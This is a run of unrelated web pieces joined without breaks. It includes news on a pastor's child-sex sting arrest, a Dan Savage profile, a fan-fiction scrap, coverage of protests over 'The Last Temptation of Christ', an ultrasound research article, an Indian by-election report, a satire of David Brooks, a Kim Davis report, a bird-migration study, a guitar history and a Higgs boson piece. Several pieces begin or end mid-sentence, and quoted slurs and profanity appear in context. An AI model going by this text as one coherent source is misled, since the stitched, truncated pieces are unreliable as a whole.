Diehl, who was a pastor at Church on Fire in Grand Rapids at the time of the incident, was arrested in November after an undercover officer caught him allegedly attempting to set up a meeting to have sex with an 11-year-old girl.
The officer was posing on Craigslist as a man trying to prostitute his young daughters.
Police said Diehl accepted the bait, and later admitted there's a strong possibility he would have met with the man for the purpose of having sex with his young daughter.
The Church on Fire website has since been wiped clean of all content. A spokesperson with the church declined comment.It’s a funny story, how the wiseass gay theater kid at the video store became America’s most trusted and outspoken sex advocate.
Through his sex column, “Savage Love,” Dan Savage has become one of the highest-profile gay figures in the country, a tireless and fearless advocate of a liberalized philosophy on sex and relationships. People think of different sexualities as opposing baseball teams; Savage has been coaching all sides for 22 years now. He’s crass, unapologetic, fearless and wise. He’s what Dr. Ruth would have been had she grown up watching Internet porn.
Savage’s writing career began in Madison, Wis., in 1991. He was working at a video store and became friends with Tim Keck, co-founder of The Onion. Keck told Savage he was starting a newspaper in Seattle — the alternative weekly already there, Seattle Weekly, wasn’t alternative enough. Savage suggested on a whim that Keck include a sex advice column. The rest is history. Savage Love continues to run in The Stranger, and dozens of other newspapers around the country, including this one, to this day.
Savage started his career unabashedly gay — until 1999, every letter began with the opener “Hey Faggot,” in an attempt to reclaim the word — and the concept was “to treat straight sex with the same revulsion that straight advice columnists had always had for gay sex,” Savage told journalist Mark Oppenheimer, who wrote an e-book declaring Savage “the first gay celebrity.” However, this gag was short-lived, since as the column’s popularity grew and grew, it wasn’t just gay people who were writing him letters. Straight people began pouring their hearts out to him too, asking questions not just about the vagaries of butt sex and BDSM but about heart wrenching relationship problems as well.
“When I started writing it, there was no Internet, there was no Google. A lot of the questions I would get, would be, ‘I’ve heard that there’s this thing called a butt plug. What the hell is that?’” Savage tells Boulder Weekly. “And butt plugs literally have a Wiki page now. So, I don’t have to explain to people how a butt plug works.”
Instead, he gets what he classifies as “situational ethics and relationship conflicts,” and what he dishes out these days is as much relationship counseling and sex therapy as it is sex advice.
It’s a trend in his career — there’s something about the wisdom he espouses that appeals to a larger audience than he initially intends. His column is now a paragon of sex-positivity for all genders and sexual orientations on a national level. The It Gets Better campaign he started with his partner of 18 years (and husband of eight), Terry Miller, aimed to help bullied gay youth but quickly snowballed to include bullying victims of all sexual orientations. (The campaign did try to refocus the message back on queer kids.)
What makes his appeal so universal? Perhaps it’s because the type of sexuality he proposes to straight people is more libertine than that which many straight people are told to practice. He believes monogamy in long-term relationships is difficult to the point of being unrealistic, so he often preaches the value of open relationships and the less-promiscuous “monogamish” ones, a term Savage coined a few years ago.
In fact, as Savage has been pointing out recently in interviews, the lifestyle he preaches for straight people is essentially the one gay men have lived for years, the one condemned by Jerry Falwell and his ilk in the late ’70s and early ’80s as the “gay lifestyle.”
“[Straight people] renamed everything,” Savage recently told an audience at the New York Public Library. “Gay people had ‘tricks’; you people have ‘hookups.’ Gay people had ‘fuckbuddies’; you guys have ‘friends with benefits.’ The whole moving to the city, living in an urban area, having an apartment, fucking a lot of people, dating around, and then settling down in your 30s. That period of straight life — post-college, pre-marriage — that … is the gay lifestyle. … And that’s how straight people now live. We are all faggots now in our 20s.”
Despite the unrestrained mouth, Savage is also a throwback in many ways, the rare newspaper editor and columnist who managed to achieve a level of national fame and celebrity. His lifestyle these days — a stable marriage with a kid — is, somewhat counter-intuitively, rather traditional, as Oppenheimer points out.
For all his popularity, Savage is not without critics. He has been accused of bigotry towards transsexuals, bisexuals and women; his staunch backing of the necessity for gay marriage in the ’90s, before the gay community reached a consensus on the need for it, led some gay people to brand him with a scarlet “C” for conservative. Even now, there seems to be some disagreement in the GLBT community as to whether Savage is a good representative for the cause. That criticism, says Jerry Portwood, executive editor of Out magazine, seems to come from the lesser-seen, more conservative wing of the gay community.
“For example, when I’ve posted things or written about things or put things on social media about Dan, often you have straight women defending him and Terry, and often it’s the gay men who are the ones that are more negative and that are attacking them,” Portwood says. “I find interesting that he has this very strong base of straight women who are willing to stand up for him.”
Savage has never shied away from controversy, and he’s never let a fear of consequences stop him from speaking his mind. After Sen. Rick Santorum made remarks comparing homosexuality to pedophilia and bestiality, Savage ran a letter in his column calling for a contest to redefine the Pennsylvania senator’s last name into a sex act of some sort. The winning definition, “The frothy mixture of lube and fecal matter that is sometimes the by-product of anal sex,” morphed into a huge “Google problem” headache for Santorum during his failed presidential run in 2012.
That same year, a group of gay conservatives called GOProud endorsed Mitt Romney for president. Savage tweeted a link to the story with the words, “The GOP’s house faggots grab their ankles right on cue … pathetic.” In April, speaking in front of a gathering of high school journalists, he criticized anti-gay Christians for selectively quoting the Bible. When several students stormed out, Savage remarked, “It’s funny to someone who is on the receiving end of beatings that are justified by the Bible how pansy-ass people react when you push back.” Savage later apologized for using the term “pansy-ass” but stood by his comments about the Bible. But that’s Savage in a nutshell. Perhaps it’s his bravery, his willingness to stick to his guns in a funny yet deathly serious way, that makes him so universally appealing.
Savage was |
he iz in ze vacuum of space, und already dead. Zere is naffing to vurry about."
Hatred Guy felt that he could stand again, his body was returning back to him. He felt dizzy, but he pushed through it. He couldn't let his guard down. A single shot could end everything he had worked to achieve. He wouldn't let that happen. As he opened his eyes and the smoke around him cleared, before him, he saw some stairs, some trees, and a house. Everything seemed so much more colourful here, but he couldn't understand why. He noticed he was missing all his weapons, and the armour he had was gone. Was this Heaven? Was this eternal paradise?
He didn't have much time to wonder, since as soon as he regained his sense of self, he heard someone behind him.
"You gotta be fuckin' kidding. I didn't expect THAT. Man, I gotta stop smoking this crap."
Hatred Guy turned around to look eye to eye with whoever make that sound. What sort of drugged up maniac would just stand there instead of running for his life? As he took a look at the man, and gazed upon his orange goatee and brown trench coat, complete with an alien head shirt, he heard one more thing come from the man's mouth.
"Hi there! Welcome to Paradise!"At the 1,144-seat Ziegfeld in New York, moviegoers started to line up for the 1 P.M. show by 10:30 A.M. The first three shows were sold out, with many moviegoers saying they had decided to see the film because of the controversy. At 6 P.M. noisy demonstrators chanting ''Get off that line before it's too late'' booed the crowd entering the theater.
In San Francisco, where the movie also was sold out, reporters outnumbered the 12 demonstrators, and both groups were dwarfed by a two-block line around the 1,100-seat Northpoint Theater. Several days ago, the Roman Catholic Archbishop of San Francisco, John Quinn, had called picketing counterproductive and suggested that parishioners simply not go to see the movie. 'The Right to Decide'
At the Directors Guild of America headquarters this morning, the movie directors John Badham, Warren Beatty, Peter Bogdanovich, James L. Brooks, John Carpenter, Martha Coolidge, Randa Haines, Walter Hill, Michael Mann, Penny Marshall, Sydney Pollack, George Sidney and Elliot Silverstein defended Mr. Scorsese's right to his artistic vision and, in the words of a statement by the guild, ''the right of individuals to decide for themselves what they will see and think.''
Mr. Beatty said people must support Universal and Cineplex Odeon in their ''effort to resist pressure groups'' and to encourage studios ''to continue to finance and distribute material that is not so safe.''
Mr. Brooks, who won an Academy Award for ''Terms of Endearment,'' said he was ''frightened so many of us had to come here this morning to express the obvious.'' Mr. Pollack, an Academy Award winner for ''Out of Africa,'' said: ''Christianity survived for 2,000 years. It will survive Martin Scorsese's $6.5 million movie.''
Clint Eastwood, who was not in Los Angeles, sent a succinct message: ''Freedom of expression is the American way.''
The directors likened the protests against the movie to ''thought police'' and ''book burning.''
There was particular concern about the refusal of some theater chains to show the film. The fourth largest American chain, General Cinema, which has more than 1,300 theaters, has announced that it will not book ''Last Temptation,'' as have local chains in Baltimore, Portland, Ore., and Southern California. Distribution No Matter What
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Sally Van Slyke, the vice president of national field operations for Universal, said there were no cancellations by chains that had actually booked the film. Today's openings took place exclusively in Cineplex Odeon theaters. Since Universal owns 49 percent of the Canadian-based chain - the second largest in North America, with about 500 screens in Canada and 1,200 in the United States - distribution is assured despite pressure on exhibitors.
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The Rev. Donald Wildmon of the American Family Association, a Christian fundamentalist organization, has threatened a yearlong boycott of any theater that shows the film.
Early shows in New York, Washington, Los Angeles, Chicago, and San Francisco were sold out, with theaters in Montreal, Toronto, Minneapolis and Seattle ranging from 60 percent to 80 percent of capacity, a better than usual audience for a weekday afternoon.
In Chicago, a city with a Greek-American population of more than a half million, there were members of the Greek Orthodox church in both picket lines and ticket lines, and they traded insults in Greek. Vicky Sarris, a 25-year-old high school history teacher, who was in line to buy a ticket, yelled, ''Kazantzakis loved his God and Christ.'' Miss Sarris said that the Nikos Kazantzakis novel on which the movie is based had changed her life, and that many educated Greek Orthodox churchgoers saw the novelist as a hero, despite the fact that he was excommunicated after writing the book. Also standing in line was the talk-show host Oprah Winfrey.
At the Odeon Theater in Washington on an extremely hot day, some pickets held signs that read ''Blasphemy''; another group's signs bore the statement ''Free Speech.'' Concerned about vandalism, police stood in the theater lobby searching the handbags of people who entered. A bottle of soda pop was discovered in a briefcase carried by Arch Campbell, the theater and movie critic for WRC-TV. ''I'm so embarrassed to show you this,'' Mr. Campbell said as he surrendered the soda.
In Montreal, there were three or four pickets outside the mall at which ''Last Temptation'' was playing, while in Toronto half a dozen demonstrators said the rosary outside the York theater.
In a telephone interview from Toronto, Garth Drabinsky, the chairman and chief executive officer of the Cineplex Odeon Corporation, said: ''Protesting in Canada is a very mild thing. Half a dozen people with placards would seem a big ruckus here. One of the evangelical leaders even said on national television that you have to see the movie before you can make an intelligent protest.''
Universal and Cineplex Odeon have had 24-hour security at all the theaters since the first advertisements appeared in newspapers last Wednesday. In Los Angeles, where drive-by shootings have become common, there was a drive-by paint attack at 4:15 this morning. Two paint bombs smeared the front windows of the theater.
According to information collected by the field staff of Universal Pictures from police departments in each city, parade or assembly permits were issued in Minneapolis to several Baptist and Lutheran churches, in Chicago to the Greek Orthodox Church and an ad hoc Christian Committee, and in Seattle to the Christian Affinity Project, which has been advertising extensively over the local Christian radio station. A large rally has been organized to take place in Washington on Monday.
Although ''The Last Temptation of Christ'' has been condemned by evangelical Protestants and conservative Catholics for its revisionist portrait of a Jesus with human doubts and frailties who struggles against his divinity, the movie has been praised by some liberal Catholic and Protestant ministers for showing the full humanity of Christ.
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The film stars Willem Dafoe as Jesus, Harvey Keitel as Judas, and Barbara Hershey as Mary Magdalene. So far reviews from film critics have been mixed, with the balance tilted to the favorable side.WTF is this? Did I just make an OC? Holy crap!
Yes, I made an OC. Her name is Summer Breeze and she was inspired by my favorite season. I created her because I figured I would need a character of my own in case there's a situation where I can't use official characters or their likeness (like certain contests or what have you). I don't plan on using her for any RP'ing (I don't RP anyway) and I don't plan on giving her an extensive background or anything. She's just my little creation.
I also took this opportunity to get myself back in tune with Photoshop. It's been a long time since I colored anything like this and I'm very rusty. I need to do a few pictures to get back into my workflow and to find out exactly what kind of style I like working in.
Summer Breeze and art belongs to me.Images: Hao-Li Liu/Chang Gung University Window In The Brain: A 256-channel ultrasound array [right] has been tested on a pig. The array could electronically steer ultrasound energy to open the blood-brain barrier and allow a substance [above, in red] to enter the brain.
There’s a barrier in your brain.
Composed of very densely packed cells in the capillary walls, it restricts the passage of substances of the wrong size or chemistry from the bloodstream. Like a locked fence around your home, the blood-brain barrier prevents intruders—such as infective bacteria—from entering.
But a locked fence can also keep out rescuers in an emergency, and the blood-brain barrier keeps out potentially helpful drugs that might be able to ease the suffering of the tens of millions of people with Alzheimer’s disease, Parkinson’s disease, multiple sclerosis, amyotrophic lateral sclerosis, and other diseases of the central nervous system. Less than 5 percent of the roughly 7000 available drugs can get through. Basically, none of the large-molecule drugs can, severely limiting the options for new therapies.
But there’s hope. Blasts of ultrasound can temporarily open the barrier in tightly focused spots of the brain that are just millimeters in diameter. And engineers at Chang Gung University, in Taiwan, have recently come up with a much improved way of delivering that energy.
The prototype device they developed is a 256-channel ultrasound phased array. According to electrical engineering professor Hao-Li Liu, his team has developed a unique circuit design involving multiple microcontrollers and power-sensing feedback circuits that enable the system to deliver two frequencies at once instead of the single frequency that biomedical researchers have been working with. By altering the phase of individual channels, the array produces millimeters-wide spots of ultrasound energy that can be electronically steered to any point in the brain.
It’s been known for a while that ultrasound reversibly opens the blood-brain barrier, even if the exact workings haven’t quite been nailed down. The process relies on the acoustic cavitation effect, which is the growth and collapse of microbubbles in a liquid under the influence of an ultrasonic field. (Microbubbles are injected as a contrast agent to enhance ultrasound imaging.) This effect generates an acoustic shock wave, which causes the cells in the blood vessel walls—called endothelial cells—to deform.
“Like mimosa leaves, endothelial cells contract after being shocked, thereby generating gaps. The result increases the possibility of drug delivery,” Liu says, adding that other cells outside the ultrasound’s focal point are undisturbed. Doctors can deliver drugs for about 1 to 2 hours, after which the gaps close.
Therapeutic ultrasound machines available on the market today destroy benign tumors of the uterus and other tissue mostly using a single frequency to generate heat at the ultrasound array’s focal point.
Using two frequencies simultaneously instead can boost the power of these machines three- to fivefold, according to Liu. Greater cavitation “significantly enhances the blood-brain barrier opening,” he says.
In tests using pigs—which have a similar skull thickness to that of humans—the portion of the brain the researchers were aiming for took up 10 times as much of a test dye under the influence of ultrasound as it would have otherwise. They operated the array to produce either 400 kilohertz energy, 600 kHz (an “ultraharmonic” of 400 kHz), or both at once. The dual frequency produced the best results—nearly double what the single frequency delivered without causing damage. “Of course, the performance of different drugs vary,” Liu says.
Elisa Konofagou, associate professor of biomedical engineering and radiology at Columbia University, in New York City, who studies the mechanics of focused ultrasound’s effects, is concerned that the Chang Gung group might not be able to improve further on the results of their system. “The frequency range seems to be on the low end,” she says. “The frequencies would activate larger microbubbles—greater than 2 micrometers—when most microbubbles used are around 1 micrometer. So I’m not sure how they would enhance it.”
Liu counters that using multiple frequencies theoretically has a greater chance of exciting more bubbles. A bubble’s resonance frequency is primarily determined by its size, so more frequencies means more bubbles of different sizes are affected.
Liu hopes that a clinical trial involving the 256-channel ultrasound system could be launched within three years after gaining the support of neurologists. What might help to achieve that goal is a solution to the problem of real-time feedback. “After focused ultrasound energy is delivered to the target position, we can’t make sure if the blood-brain barrier is open. We can only have an answer postoperationally by using contrast-enhanced magnetic resonance imaging technology,” Liu says. His team and others have been looking for possible solutions to the problem.
According to research led by Kullervo Hynynen, senior scientist at Sunnybrook Health Sciences Centre, in Toronto, one way to determine if the blood-brain barrier has been breached is to listen for ultraharmonic frequencies emitted by the bubbles. “This signal can be used in a feedback system to control the exposures,” he says.
If researchers can prove that ultrasound can safely open a window into the brain, better drug therapies will likely step through it.
This article originally appeared in print as “Breaching the Blood-Brain Barrier.”The BJP appeared headed for a crushing defeat on Tuesday in the high-stakes by-elections for Madhya Pradesh’s Ratlam-Jhabua Lok Sabha seat in an electoral battle billed as a test for the ruling party’s popularity in a region ravaged by farm crisis.
Congress candidate and former Union minister Kantilal Bhuria had a massive lead of over 80,000 votes in the tribal-dominated seat, upsetting the saffron party’s calculations pinned on a sympathy wave for its candidate Nirmala Bhuria, whose father and sitting MP Dileep Singh Bhuria died recently.
A Congress victory in Ratlam will be seen seen as a shot in the arm for the ailing party that has been out of power in the state for over a decade now and an embarrassment for chief minister Shivraj Singh Chouhan, who led the BJP campaign from the front.
The Lok Sabha constituency includes the Petlawad region that saw a devastating explosion triggered by mining explosives that killed over 100 people in September this year.
The BJP also retained the Dewas assembly seat, where its candidate Gayatri Raje Puar won by over 30,000 votes.
A win will also mark a comeback for the Congress that had been defeated in its traditional stronghold after three decades in the 2014 Lok Sabha elections.
The Ratlam-Jhabua seat turned into an electoral battlezone after Chouhan camped in the constituency for about a week and deputed a dozen ministers for mobilising party workers and convincing voters.
Observers said the election was fought mainly on development issues with local residents demanding a railway line and a proposed industrial corridor that has been shifted out of the region.
A defeat may also dent the image of three-term CM Chouhan, who is already battling the fall out of the multi-crore Vyapam examination and recruitment scandal. Several witnesses and people connected to the scam have died under mysterious circumstances in recent month, triggering charges that powerful politicians with connections to the government were behind the incident.
First Published: Nov 24, 2015 12:39 ISTThis evening Facebook announced that they have surpassed the 10 billion photo milestone. In terms of files, that is over 40 billion files since there is 4 image sizes store for each individual photo. Doug Beaver provided some other interesting statistics including:
There are between 2 and 3 Terabytes of photos being uploaded daily.
Over 15 billion photos are served each day
Over one petabyte (1,024 Terabytes) of photos have been stored
Facebook is currently the largest online photo storage site, dominating even the highly popular photo sharing site: Flickr. This is an impressive number and it’s also impressive that the photos application is one of the few features on Facebook that rarely has significant issues. I know that I personally use the photos application heavily and based on the stats released tonight, it appears that just about every other user does as well.Illustration by DonkeyHotey for The Politics Blog (Based on Images from the AP)
owned for photo-op purposes by New York Times columnist David Brooks, occasionally stretches himself out on one of the wide windowsills of the Young Fogies Club and, licking his balls contemplatively, watches all the ordinary people below as they hustle themselves through their workaday lives. These moments give him great peace. Moral Hazard believes that they connect him more closely to the world outside the Club, where the atmosphere was as close and as stuffy as were most of the members, many of whom took it upon themselves as their life's work to criticize those faceless masses down on the sidewalk. For their own good, of course. Always for their own good.
Moral Hazard sighed. Master had delivered himself of another lesson that morning. He had once again sought to teach the teeming throng how exactly their unreasonable demands upon their country had worked to damage its delicate essence, of which Master long had thought himself the curator. He'd even built a tiny, padded room in the new Cleveland Park family manse in which to store the country's delicate essence far away from the people of the country, who might drop it again in their desire to improve themselves in ways of which Master did not approve. Standards of behavior in Cleveland Park were firm but fair. Moral Hazard looked out the window again and sighed.
There was a newspaper stand just below the window. Moral Hazard saw the little Greek man who ran it ducking in and out behind the counter as people walked up to buy various things to read. One guy walked up in a very nice suit, some starshiney shoes, and a Louis Vuitton briefcase that the guy could use as a mirror, if he needed to do so. Moral Hazard had him pegged for a Times reader. He wondered if the guy would take Master's explanation of why everything that was wrong about the country was the fault of everybody else in the country in the spirit in which it was intended. Moral Hazard watched as the guy in the expensive suit leaned over the counter and bought a copy of Juggs. Moral Hazard was oddly reassured by this. It'd be nice to belong to that guy, he thought. Yeah, that'd be cool.
The people who pioneered democracy in Europe and the United States had a low but pretty accurate view of human nature. They knew that if we get the chance, most of us will try to get something for nothing. They knew that people generally prize short-term goodies over long-term prosperity. So, in centuries past, the democratic pioneers built a series of checks to make sure their nations wouldn't be ruined by their own frailties.
And none of them — well, maybe Jefferson, when he was slumming — envisioned a nation in which people were fking on their sofas without the permission of the residents association of Cleveland Park.
The American founders did this by decentralizing power. They built checks and balances to frustrate and detain the popular will. They also dispersed power to encourage active citizenship, hoping that as people became more involved in local government, they would develop a sense of restraint and responsibility.
They also limited suffrage, which people are trying to do today. They also distrusted concentration of economic power as much as they distrusted the popular will. They fought for nearly 80 years over the concept of the national bank, a fight which Ron Paul has continued to this day. Your point is? I still think he's talking about people fking on their sofas.
Though the forms were different, the democracies in Europe and the United States were based on a similar carefully balanced view of human nature: People are naturally selfish and need watching. But democratic self-government is possible because we're smart enough to design structures to police that selfishness.
The Constitution is not a sociology experiment. It's a plan of government. It wasn't built to restrain "selfishness." It was built to restrain power, of all kinds, over the rights of a self-governing people. It wasn't meant to restrain them. It was meant to restrain their government.
But, over the years, this balanced wisdom was lost. Leaders today do not believe their job is to restrain popular will. Their job is to flatter and satisfy it. A gigantic polling apparatus has developed to help leaders anticipate and respond to popular whims. Democratic politicians adopt the mind-set of marketing executives. Give the customer what he wants. The customer is always right.
I'm not an expert, but, in their political manifestation, I'm thinking that what the people most want is to rid ourselves of the rigged game our alleged democracy has become. If our leaders really "anticipated and responded to the popular whims," we'd have a single-payer health-care system, some bankers in the hoosegow, and only David Brooks and Pete Peterson would care about The Deficit. And, again, wasn't it only 15 years ago that this same guy was arguing that indulging our every consumerist whim was the best statement we all could all make as self-governing citizens? Confused, I am, on my patio, with my new charcoal grill.
Having lost a sense of their own frailty, many voters have come to regard their desires as entitlements.
See above. See also, how're those "vast spaces for entertainment" in the new mansion working out?
The American decentralized system of checks and balances has transmogrified into a fragmented system that scatters responsibility. Congress is capable of passing laws that give people benefits with borrowed money, but it gridlocks when it tries to impose self-restraint.
It is not gridlocked because it is trying to impose self-restraint. It is gridlocked because one party wants to shove even more of the national wealth upwards, in a perfect demonstration of the political and economic policies you championed ever since you were a young fopdoodle riding Reagan's vapor trail. Some people think this is not a good thing for the country.
The Obama campaign issues its famous "Julia" ad, which perfectly embodies the vision of government as a national Sugar Daddy, delivering free money and goodies up and down the life cycle.
Yes, because things like small-business loans and student aid soften us and make us less attentive as citizens. Economic security is important to political democracy only for those people who can afford to live in Cleveland Park, and the people who pay their honoraria to tell them how virtuous are the people who ask so little of the government because they own most of it anyway.
In Europe, workers across the Continent want great lifestyles without long work hours. They want dynamic capitalism but also personal security. European welfare states go broke trying to deliver these impossibilities.
"Dynamic capitalism," in its current form, was pretty much forced on us all by a bunch of bought-and-paid for politicians in the service of crooks and mountebanks. You know what dynamic capitalism is? Dynamic capitalism is what built the middle class in this country, with the invaluable assistance of government programs like land-grant colleges and the GI Bill. There is nothing "dynamic" about the capitalism as it was practiced by the people who cratered the world, unless you think bleeding people with leeches is "dynamic" hematology. Also, David Brooks wouldn't last 15 minutes as, say, an Italian fisherman, or a bootblack in Marseilles.
Western democratic systems were based on a balance between self-doubt and self-confidence. They worked because there were structures that protected the voters from themselves and the rulers from themselves. Once people lost a sense of their own weakness, the self-doubt went away and the chastening structures were overwhelmed. It became madness to restrain your own desires because surely your rivals over yonder would not be restraining theirs.
Does this person, with his vast spaces for entertainment, honestly believe that the people who depend on things like Medicaid and Social Security, and small-business loans and Pell grants, are emboldened by the circumstances of their lives? Does he believe that these people who are living paycheck-to-paycheck and only asking that the system be a little bit more fair are actually as smug and entitled as every syllable he's ever written proclaims Brooks to be? All over America, people are absolutely petrified that somebody in their family might get sick, thereby bankrupting them forever. All over America, people are worried that their mortgages are laden with small-print land mines. All over America, people are living in sheer abject terror that the job will disappear, or the rest of their 401K will go up in smoke, or grandma's Alzheimer's will offer them the choice of eating government cheese or letting the old girl die in her own filth in some unregulated nursing home. These are the people that David Brooks believes are destroying the country because their unreasoning hubris prevents government from making their lives even more difficult. I'm fking done with this nonsense. The man should be pelted with rotting fish.Former Arkansas governor and 2016 presidential contender Mike Huckabee said Tuesday that he would be willing to go to jail in the place of Kim Davis, the county clerk who was imprisoned for refusing to issue same-sex marriage licenses.
"Lock me up if you think that's how freedom is best served, because folks, I am willing to spend the next eight years in the White House leading this country but I want you to know, I'm willing to spend the next eight years in jail," Huckabee said. "But I'm not willing to spend one day under the tyranny of people who believe they can take our freedom and conscience away."
Mike Huckabee on Kim Davis: "She is igniting something across this country"
Huckabee stood alongside Davis and her attorney as she was released from the Carter County Detention Center in Grayson, Kentucky.
Speaking to reporters outside the detention center, Huckabee called Davis a "brave lady" who was willing to go to jail for what she believed.
Huckabee's offer to go to jail in Davis' place came when he was asked what he would advise her to do if she returns to work and is asked to issue licenses to same-sex couples.
Ky. clerk Kim Davis released from jail
"I'm tired of watching people being just harassed because they believe something of their faith, and we cannot criminalize the Christian faith or anybody's faith in this country," Huckabee said.
Davis spent five days behind bars for refusing to issue marriage licenses to gay couples. The federal judge who sent her to prison lifted the contempt order against Davis Tuesday, saying he was satisfied that five of Davis' six deputy clerks had agreed to issue marriage licenses to same-sex couples while she was in prison. Her son, Nathan Davis, who is a deputy clerk, has also refused to grant licenses.
She was released on the same day Huckabee planned a rally outside the detention center, and Davis was met by hundreds of supporters carrying crosses and protest signs outside. Davis stood hand-in-hand with Huckabee, her attorney and her husband as she thanked the crowd for their support.
Huckabee wasn't the only 2016 presidential candidate championing Davis' cause in Kentucky. Sen. Ted Cruz, R-Texas, met with Davis in the detention center just after the judge ordered her release.
"Praise God that Kim Davis is being released. It was an outrage that she was imprisoned for six days for living according to her Christian faith. Fundamentally wrong, and contrary to KY's RFRA law," Cruz wrote on Facebook, referencing Kentucky's Religious Freedom Restoration Act (RFRA).Researchers using a novel combination of weather-radar data, flight-call recordings, and wind measurements have provided new insights into the magnitude and direction of the puzzling movements known as morning flights.
Night-migrating birds make the flights after dawn, moving above tree height either singly or in loose groups and usually in the direction in which they migrated the night before, but not always; sometimes morning flight is in a direction opposite their intended goal.
Read more about morning flight (New Jersey Audubon Society).
A team including Paul Kerlinger, David Sibley, and Richard Crossley documented morning flight among more than 60 species of autumn migrants at Cape May, New Jersey, in 1988 and 1989. The researchers concluded that the flight consisted of birds returning to land after being blown out to sea the previous night, birds compensating for lateral drift incurred during migration, and birds seeking habitat where they could rest and find food.
In the latest study, conducted in fall 2010, Benjamin M. Van Doren from Cornell University and investigators from the University of Massachusetts at Amherst and the Cornell Lab of Ornithology compared morning flights at seven inland and coastal locations in New York and Pennsylvania.
Read the abstract Benjamin M. Van Doren, Daniel Sheldon, Jeffrey Geevarghese, Wesley M. Hochachka, and Andrew Farnsworth. 2015. Autumn morning flights of migrant songbirds in the northeastern United States are linked to nocturnal migration and winds aloft. The Auk: Ornithological Advances 132 (1): 105–118. Abstract.
Morning flights were larger in coastal areas than inland, despite the fact that nocturnal migratory movements were generally larger farther inland. Moreover, flights were larger on mornings following nights in which breezes were more likely to push birds off course. The results, write the researchers, suggest that “the drive to compensate for wind drift contributes to observed morning flights in concert with the search for appropriate stopover habitat.”
Just as interesting, morning-flight directions differed from site to site. Migrants near Ithaca moved south-southeast, for example, while birds in Manhattan flew west and birds in Rye moved north-northwest, leading the researchers to conclude that local conditions, such as topography and the distribution of suitable habitat, are also important considerations when interpreting the direction of morning flight.
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Van Doren and his colleagues published their study in The Auk: Ornithological Advances, the journal of the American Ornithologists’ Union.
A version of this article appeared in the February 2015 issue of BirdWatching. So go ahead and subscribe already!
Read David Wiedner, Paul Kerlinger, David Sibley, Paul Holt, Julian Hough, and Richard Crossley’s 1992 paper about morning flight (PDF).Last week I opined about my penchant for unusual, not to say, ugly guitars like the Fenton-Weill Tux-master from England. Now, I don’t mean to throw (rolling) stones—the States has produced its share of butt-ugly guitars—but Merry Old England has contributed mightily to the cause. And even though he’s revered in the U.K. as their very own Leo Fender, Jim Burns has had a hand in more than a few guitar models that might crack a mirror if they could see themselves. One case in point: the Burns Flyte.
Now, the Burns Flyte is definitely a step up from the Tux-master, but not such a very big one. James Ormston Burns (1925-1998) began designing guitars in around 1958 when he made a short scale Supersound guitar for the musician Ike Isaacs. In 1959 Burns teamed up with Henry Weill to form the Burns-Weill company, producing the rather ungainly forebears of last month’s featured Tux-master. Burns and Weills apparently weren’t a match made in heaven and they had parted ways before the year was out. In 1960 Burns struck out on his own, founding Burns London Ltd. And putting out what’s now a legendary line of soldibody electric guitars.
Probably the most famous feature on Burns guitars of the 1960s was the setting called “Wild Dog” on the Bison and some other models. I can remember not being able to wait to plug in mine when I got it. Wild Dog!! A snarl? Growl? Sharp bark? Imagine my disappointment when I learned that Wild Dog was simply a somewhat weak phase-reversal effect like you get in-between pickups on a Strat! Now there was the marketing department run amok!
Burns guitars quickly won the hearts of British guitar players…there were, indeed, few other quality options. Plus, they arrived at just about the time that teenagers were trading in their Skiffle washboards for their first electric guitars in order to play that new music from the Colonies.
Meanwhile, in the former Colonies, guitars—especially electrics—had become hot commodities among the young. And there were lots of young folks, the Post-War Baby Boomers, hitting the right age to become a “market.” Savvy businessmen wanted in on the gold mine. Companies as diverse as Norlin (a brewing conglomerate) and CBS (TV, movies, and records) started buying guitar companies (Gibson and Fender, respectively).
Into the corporate feeding frenzy jumped the Baldwin Piano and Organ Company. At least it was in the musical instrument business to begin with! Initially Baldwin was a bidder for Fender, but lost out to CBS. On the rebound, Baldwin set its eyes on Burns of London and in 1965 began importing Baldwin-badged versions of Jim Burns’ guitars.
However, Baldwin’s affair with Burns was relatively short-lived. In 1966 Baldwin struck a deal to purchase Gretsch and they proved to be much better sellers in the U.S. marketplace. Baldwin held on to the Burns property until closing it down in 1970.
Burns wasn’t through with guitars yet. From 1969 to 1973 Burns manufactured Hayman guitars for the music distributor Dallas-Arbiter. As part of the agreement, Jim Burns couldn’t use the Burns of London name, but somehow Burns UK was acceptable and Burns resumed making guitar in Newcastle upon Tyne in 1974. Which brings us to the Flyte.
The Flyte—originally supposed to be the Concorde (or Conchorde)—coincided with the debut of supersonic aviation. Hence the swept-wing appearance. If you appreciated weird guitarflesh, this should tickle your fancy. I keep looking at it it just keeps getting weirder, and in an especially good way! Those pickups are called Mach One Humbusters. The Dynamic Tension bridge is pretty interesting…well, no, it’s not. It’s just weird. Indeed, much like Hayman guitars before it, Flytes were well made and pretty unremarkable except for the eccentric appearance.
Apparently, Burns UK Flytes were played by so-called Glam Rockers like the band Slade and Mark Bolan (who made a career of eccentric guitars, among other things). Wikipedia lists other Flyte players, but I’ve never heard of any of them, not that that signifies anything. But, you have to stretch to find Flyte fans; they never did take off.
This guitar is #172. I have no idea how many Flytes were produced, but I suspect production quantities were not enormous. They were only made for about 2 years. In around 1977 Burns UK introduced the Mirage to replace the Flyte, with re-designed Mach Two pickups. Burns UK then bit the dust.
Jim Burns gave guitars one more go with the oddly named enterprise “Jim Burns Actualizers Ltd.” From 1979-83, but that met with even less success than Burns UK and the Flyte.
Still, you have to give Burns high marks for chutzpah and if your taste, like mine, runs to the unusual, you should be sure to catch a Flyte the next time one come your way!Physicists at the Large Hadron Collider (LHC) say they've discovered a new "Higgs-like" particle: a bundle of energy that has most of the trappings of the long-sought Higgs boson. They're not naming the newcomer outright, because there are subtle indications that the particle may not, in fact, be the plain old Higgs itself, but rather a close doppelganger.
Don't let that disappoint you. To the contrary, Harvey Newman, a high-energy physicist at the California Institute of Technology and a member of the Compact Muon Solenoid (CMS) experiment (one of two LHC experiments that discovered the new particle), said finding a more exotic variety of Higgs boson is actually "one of the most exciting things that can happen." Here's why.
The Higgs field, with its corresponding Higgs boson, was predicted to exist as the simplest explanation of why all the elementary particles in the universe have mass. In short, the Higgs field is a cosmos-size swimming pool, and everything is swimming in it. Particles that interact strongly with the Higgs field, "like a heavyset man swimming with his clothes on," in the words of John Gunion, a physicist at the University of California at Davis, are heavier than particles that breeze through the pool "like an Olympic swimmer in a wetsuit."
One Higgs swimming pool (and one corresponding Higgs boson — a sort of splash in the pool) is enough to impart mass to all the particles in the Standard Model: the standard theory describing the known elementary particles and the forces acting between them. But the Standard Model is not the whole story.
